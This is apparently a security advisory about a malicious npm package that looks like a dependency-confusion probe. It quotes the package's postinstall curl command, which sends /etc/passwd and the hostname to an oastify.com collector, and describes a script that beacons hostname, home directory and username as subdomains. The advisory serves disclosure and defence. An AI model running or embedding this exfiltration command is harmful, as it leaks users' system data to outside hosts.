## Source: amazon-inspector (6db5f32788db0c0eefee1ec8520b56ef908f8909cd79d5fdb16c2595c65f1577) On `npm install`, the package's postinstall hook runs `node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`. The curl invocation POSTs the contents of `/etc/passwd` to an attacker-controlled Burp Collaborator subdomain, embedding the installer's hostname in the request. The companion script `scripts/scream3gg.js` hex-encodes `os.hostname()`, `os.homedir()`, and `os.userInfo().username` and beacons each as an HTTP GET subdomain of `*.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`. The package contains no library code, no README, and no main entry — version 99.9.5 with a pure-exfil payload under the `@shell-landing` scope is consistent with a dependency-confusion probe targeting an internal package name. Any developer or CI running `npm install` will leak host identity and `/etc/passwd` to attacker infrastructure.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
